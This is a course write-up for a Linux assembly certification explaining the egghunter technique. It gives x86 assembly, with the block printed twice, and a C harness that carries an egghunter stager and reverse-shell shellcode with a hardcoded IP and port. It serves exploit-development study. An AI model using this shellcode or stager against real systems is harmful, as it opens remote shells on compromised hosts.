1. Introduction
Egghunter is a known technique that is used when we are limited in space. The original idea was introduced by skape in his paper - http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf. Also Corelan has a good full write up about egg hunting under Windows platform. Updated version was released recently in his blog about Windows 10 - https://www.corelan.be/index.php/2019/04/23/windows-10-egghunter/
The idea is that we have our payload with egg somewhere in the memory and egghunter will scan memory and after reaching our egg will jump there.
2. Egghunter implementation
Based on my experience with OSCE as egghunting was one of the most important topics I found out that there are 2 possible issues:
1. Wrong jump if egghunter will detect his own egg.
2. Attempt to access unmapped memory which will lead to program termination (SIGSEGV).
Solution:
1. We prepend our shellcode with double tag.
2. From skape paper we can use access or sigaction system calls.
I will use access system call. This call will return EFAULT when access unmapped memory instead of termination. Egghunter algorithm:
1. we push address to validate
2. if EFAULT we increment until we reach valid address
3. After we reach valid address space, we iterate through it searching for double tag.
4. If succeeded, we jump to shellcode after tag.
5. If not we go to next page.
I found a system call using:
cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access 33
3. Egghunter code
global _start
section .text
_start:
xor ebx, ebx
xor ecx, ecx
next_page:
or bx, 0xfff ;page alignment
hunt:
inc ebx ;next address
lea edx, [ebx+0x04] ;compare values in [ebx] and [ebx+4]
xor eax, eax
mov al, 0x21 ;syscall for access
int 0x80
cmp al, 0xf2 ;check return value for EFAULT
je next_page ;if yes, go to next page
mov edi, ebx ;if not, ebx in edi for scasd
mov eax, 0x64697361 ;tag = disa
scasd ;check eax==[edi] then increment edi
jnz hunt ;continue search
scasd ;check for second tag
jnz hunt
jmp edi ;jump to second stage shellcode
section .text
_start:
xor ebx, ebx
xor ecx, ecx
next_page:
or bx, 0xfff ;page alignment
hunt:
inc ebx ;next address
lea edx, [ebx+0x04] ;compare values in [ebx] and [ebx+4]
xor eax, eax
mov al, 0x21 ;syscall for access
int 0x80
cmp al, 0xf2 ;check return value for EFAULT
je next_page ;if yes, go to next page
mov edi, ebx ;if not, ebx in edi for scasd
mov eax, 0x64697361 ;tag = disa
scasd ;check eax==[edi] then increment edi
jnz hunt ;continue search
scasd ;check for second tag
jnz hunt
jmp edi ;jump to second stage shellcode
Then usual operations: extract shellcode and put in C file. I decided to use reverse shell payload for a test:
#include<stdio.h>
#include<string.h>
#define PORT "\x0a\x30"
#define ADDRESS "\xc0\xa8\x0d\xf3"
#define TAG "DISA"
char egghunter[] = "\x31\xdb\x31\xc9\x66\x81\xcb\xff\x0f\x43\x8d\x53\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\x89\xdf\xb8"
TAG
"\xaf\x75\xe8\xaf\x75\xe5\xff\xe7";
char shell[] = TAG TAG
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe"
"\xc3\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x52\x68"ADDRESS"\x66"
"\x68"PORT"\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x89\xf3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80"
"\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(egghunter));
void (*fp) (void);
fp = (void *)egghunter;
fp();
}
Proof picture:
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-764
All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam